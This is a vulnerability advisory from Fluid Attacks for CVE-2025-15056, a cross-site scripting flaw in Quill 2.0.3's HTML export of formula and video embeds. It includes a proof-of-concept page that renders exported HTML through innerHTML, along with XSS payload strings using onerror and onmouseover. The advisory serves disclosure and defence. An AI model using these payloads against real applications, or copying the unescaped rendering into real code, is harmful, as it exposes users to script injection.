Quill 2.0.3 - Lack of data validation in HTML export allowing XSS

5,1

Medium

5,1

Medium

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Quill 2.0.3 - Lack of data validation in HTML export using formula or video formats allowing XSS

Code name

State

Public

Release date

13 de jan. de 2026

Affected product

Quill

Vendor

Slab

Affected version(s)

2.0.3

Package manager

npm

Vulnerability name

Lack of data validation - Special Characters

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

CVSS v4.0 base score

5.1

Exploit available

No

Description

Quill 2.0.3 contains a lack of data validation vulnerability in the HTML export feature. The formula and video embeds return HTML strings via html() without escaping user-controlled values. When applications use getSemanticHTML() (or getHTML()) and render the output as HTML, an attacker can inject arbitrary attributes or markup, leading to script execution in the victim’s browser. This affects common “export HTML → store → render” workflows and requires sanitization or escaping of embed values.

Vulnerability

  • Root cause: embed blots interpolate user-controlled values directly into HTML strings returned by html() without escaping or sanitization.

  • Code Location:

    • Vulnerable export path: packages/quill/src/core/editor.tsconvertHTML() uses blot-provided HTML if html() exists.

    • Vulnerable blots:

      • packages/quill/src/formats/formula.tshtml() returns <span>${formula}</span> (unescaped).

      • packages/quill/src/formats/video.tshtml() returns <a href="${video}">${video}</a> (unescaped).

The formula and video values are controlled by user input. Because html() returns a string built by simple string interpolation, a value containing quotes or closing tags (e.g., </span><img src=x onerror=alert(1)>) will produce output that breaks the expected markup and injects an element with an event handler or other malicious attributes.

PoC

  • Host the following html in a web server.

    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1" />
        <title>Quill Forum Comments PoC</title>
        <link
          rel="stylesheet"
          href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css"
        />
        <link
          rel="stylesheet"
          href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css"
        />
        <style>
          body {
            font-family: Arial, sans-serif;
            margin: 24px;
            background: #f7f7f9;
          }
          .container {
            max-width: 900px;
            margin: 0 auto;
          }
          .card {
            background: #fff;
            border: 1px solid #ddd;
            border-radius: 8px;
            padding: 16px;
            margin-bottom: 16px;
          }
          #editor {
            height: 160px;
          }
          .actions {
            display: flex;
            gap: 8px;
            margin-top: 12px;
          }
          .comment {
            border-top: 1px solid #eee;
            padding: 12px 0;
          }
          .comment:first-child {
            border-top: none;
          }
          .meta {
            font-size: 12px;
            color: #666;
            margin-bottom: 6px;
          }
          .hint {
            color: #444;
          }
          code {
            background: #f1f1f1;
            padding: 2px 4px;
          }
        </style>
      </head>
      <body>
        <div class="container">
          <h1>Forum Comments (Quill PoC)</h1>
          <p class="hint">
            Normal user flow: write a comment, click Post. The app stores HTML and
            renders it. Try these:
          </p>
          <p class="hint">
            Formula: <code>&lt;/span&gt;&lt;img src=x onerror=alert(1)&gt;</code>
            Video: <code>https://example.com&quot; onmouseover=&quot;alert(1)</code>
          </p>
    
          <div class="card">
            <div id="toolbar">
              <span class="ql-formats">
                <select class="ql-font"></select>
                <select class="ql-size"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-bold"></button>
                <button class="ql-italic"></button>
                <button class="ql-underline"></button>
                <button class="ql-strike"></button>
              </span>
              <span class="ql-formats">
                <select class="ql-color"></select>
                <select class="ql-background"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-script" value="sub"></button>
                <button class="ql-script" value="super"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-header" value="1"></button>
                <button class="ql-header" value="2"></button>
                <button class="ql-blockquote"></button>
                <button class="ql-code-block"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-list" value="ordered"></button>
                <button class="ql-list" value="bullet"></button>
                <button class="ql-indent" value="-1"></button>
                <button class="ql-indent" value="+1"></button>
              </span>
              <span class="ql-formats">
                <select class="ql-align"></select>
              </span>
              <span class="ql-formats">
                <button class="ql-link"></button>
                <button class="ql-image"></button>
                <button class="ql-video"></button>
                <button class="ql-formula"></button>
              </span>
              <span class="ql-formats">
                <button class="ql-clean"></button>
              </span>
            </div>
            <div id="editor"></div>
            <div class="actions">
              <button id="post">Post Comment</button>
              <button id="clear">Clear</button>
            </div>
          </div>
    
          <div class="card">
            <h2>Comments</h2>
            <div id="comments"></div>
          </div>
        </div>
    
        <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script>
        <script>
          const quill = new Quill('#editor', {
            theme: 'snow',
            modules: { toolbar: '#toolbar' },
          });
    
          const comments = [];
    
          const renderComments = () => {
            const container = document.getElementById('comments');
            container.innerHTML = '';
            comments.forEach((comment, index) => {
              const wrapper = document.createElement('div');
              wrapper.className = 'comment';
              const meta = document.createElement('div');
              meta.className = 'meta';
              meta.textContent = `User #${comment.user} · ${comment.time}`;
              const body = document.createElement('div');
              // Vulnerable render for PoC: rendering exported HTML directly
              body.innerHTML = comment.html;
              wrapper.appendChild(meta);
              wrapper.appendChild(body);
              container.appendChild(wrapper);
            });
          };
    
          document.getElementById('post').addEventListener('click', () => {
            const html = quill.getSemanticHTML();
            comments.unshift({
              user: Math.floor(Math.random() * 1000),
              time: new Date().toLocaleString(),
              html,
            });
            renderComments();
            quill.setContents([]);
          });
    
          document.getElementById('clear').addEventListener('click', () => {
            quill.setContents([]);
          });
        </script>
      </body>
    </html>

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-15056 to refer to this issue from now on.

Disclosure policy

System Information

  • quill

  • Version 2.0.3

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

19 de dez. de 2025

Vulnerability discovered

23 de dez. de 2025

Vendor contacted

13 de jan. de 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.